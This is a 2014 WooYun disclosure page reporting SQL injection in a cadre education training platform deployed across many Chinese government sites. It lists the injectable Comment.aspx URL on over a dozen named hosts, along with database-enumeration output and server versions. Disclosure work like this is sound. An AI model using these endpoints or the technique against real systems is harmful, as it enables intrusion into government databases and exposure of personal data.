当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2014-069195

漏洞标题：某干部教育培训平台存在注入(涉及某省全省和全国部分市、区、县)可泄露信息

相关厂商：某干部教育培训平台

漏洞作者： 雅柏菲卡

提交时间：2014-07-21 18:55

修复时间：2014-10-19 18:56

公开时间：2014-10-19 18:56

漏洞类型：SQL注射漏洞

危害等级：中

自评Rank：8

漏洞状态：已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2014-07-21： 细节已通知厂商并且等待厂商处理中
2014-07-25： 厂商已经确认，细节仅向厂商公开
2014-07-28： 细节向第三方安全合作伙伴开放
2014-09-18： 细节向核心白帽子及相关领域专家公开
2014-09-28： 细节向普通白帽子公开
2014-10-08： 细节向实习白帽子公开
2014-10-19： 细节向公众公开

简要描述：

..............

详细说明：

......

漏洞证明：

我估计是 杭州精英在线教育科技有限公司 的 干部教育培训平台的2.2版本
这里以湖南省为例
http://www.hnce.gov.cn/Comment/Comment.aspx?id=3464 湖南省
available databases [17]:
[*] 714
[*] 718
[*] distribution
[*] dnt_hnshzyxy
[*] edu_hunan_new
[*] edu_hunan_new_bbs
[*] edu_hunan_old
[*] eduhnshzyxy
[*] eduhunan
[*] eduhunan2011
[*] eduhunan2012
[*] eduhunan2013
[*] eduhunan_0606
[*] master
[*] model
[*] msdb
[*] tempdb
长沙分院
http://www.hncsce.gov.cn/Comment/Comment.aspx?id=3464
available databases [17]:
[*] 714
[*] 718
[*] distribution
[*] dnt_hnshzyxy
[*] edu_hunan_new
[*] edu_hunan_new_bbs
[*] edu_hunan_old
[*] eduhnshzyxy
[*] eduhunan
[*] eduhunan2011
[*] eduhunan2012
[*] eduhunan2013
[*] eduhunan_0606
[*] master
[*] model
[*] msdb
[*] tempdb
株洲市分院
http://www.hnzzce.gov.cn/Comment/Comment.aspx?id=3464
available databases [17]:
[*] 714
[*] 718
[*] distribution
[*] dnt_hnshzyxy
[*] edu_hunan_new
[*] edu_hunan_new_bbs
[*] edu_hunan_old
[*] eduhnshzyxy
[*] eduhunan
[*] eduhunan2011
[*] eduhunan2012
[*] eduhunan2013
[*] eduhunan_0606
[*] master
[*] model
[*] msdb
[*] tempdb
常德市
http://www.hncdce.gov.cn/Comment/Comment.aspx?id=3464
available databases [17]:
[*] 714
[*] 718
[*] distribution
[*] dnt_hnshzyxy
[*] edu_hunan_new
[*] edu_hunan_new_bbs
[*] edu_hunan_old
[*] eduhnshzyxy
[*] eduhunan
[*] eduhunan2011
[*] eduhunan2012
[*] eduhunan2013
[*] eduhunan_0606
[*] master
[*] model
[*] msdb
[*] tempdb
湘潭市
http://www.hnxtce.gov.cn/Comment/Comment.aspx?id=3464
available databases [17]:
[*] 714
[*] 718
[*] distribution
[*] dnt_hnshzyxy
[*] edu_hunan_new
[*] edu_hunan_new_bbs
[*] edu_hunan_old
[*] eduhnshzyxy
[*] eduhunan
[*] eduhunan2011
[*] eduhunan2012
[*] eduhunan2013
[*] eduhunan_0606
[*] master
[*] model
[*] msdb
[*] tempdb
QQ截图20140721193424.png




浙江省企业技术创新学院
http://zjjszx.jystudy.com/Comment/Comment.aspx?id=3464
web server operating system: Windows 2003
web application technology: ASP.NET, Microsoft IIS 6.0, ASP.N
back-end DBMS: Microsoft SQL Server 2005
[19:38:42] [INFO] fetching database names
[19:38:43] [INFO] the SQL query used returns 30 entries
available databases [30]:
海盐县
http://www.hystudy.gov.cn/Comment/Comment.aspx?id=3464
web server operating system: Windows 2003
web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727
back-end DBMS: Microsoft SQL Server 2008
[19:43:41] [INFO] fetching database names
[19:43:41] [INFO] the SQL query used returns 29 entries
available databases [29]:
武汉市
http://whce.gov.cn/Comment/Comment.aspx?id=3464
web server operating system: Windows 2003
web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727
back-end DBMS: Microsoft SQL Server 2005
[19:49:00] [INFO] fetching database names
[19:49:01] [INFO] the SQL query used returns 8 entries
available databases [8]:
惠州市
http://study.huizhou.gov.cn/Comment/Comment.aspx?id=3464
web server operating system: Windows 2003
web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727
back-end DBMS: Microsoft SQL Server 2008
[19:52:05] [INFO] fetching database names
[19:52:05] [INFO] the SQL query used returns 10 entries
榆林市
http://www.yulinstudy.gov.cn/Comment/Comment.aspx?id=3464
web server operating system: Windows 2003
web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727
back-end DBMS: Microsoft SQL Server 2005
[19:57:44] [INFO] fetching database names
[19:57:45] [INFO] the SQL query used returns 8 entries
南昌市
http://117.40.249.94/Comment/Comment.aspx?id=3464
web server operating system: Windows 2003
web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727
back-end DBMS: Microsoft SQL Server 2005
[19:59:24] [INFO] fetching database names
[19:59:24] [INFO] the SQL query used returns 8 entries
还有一大堆的

修复方案：

........

版权声明：转载请注明来源 雅柏菲卡@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：16

确认时间：2014-07-25 22:24

厂商回复：

CNVD确认图案复现所述情况，已经转由CNCERT分别下发给湖南、广东、陕西、江西等分中心处置本省案例。

最新状态：

暂无

漏洞评价：

评论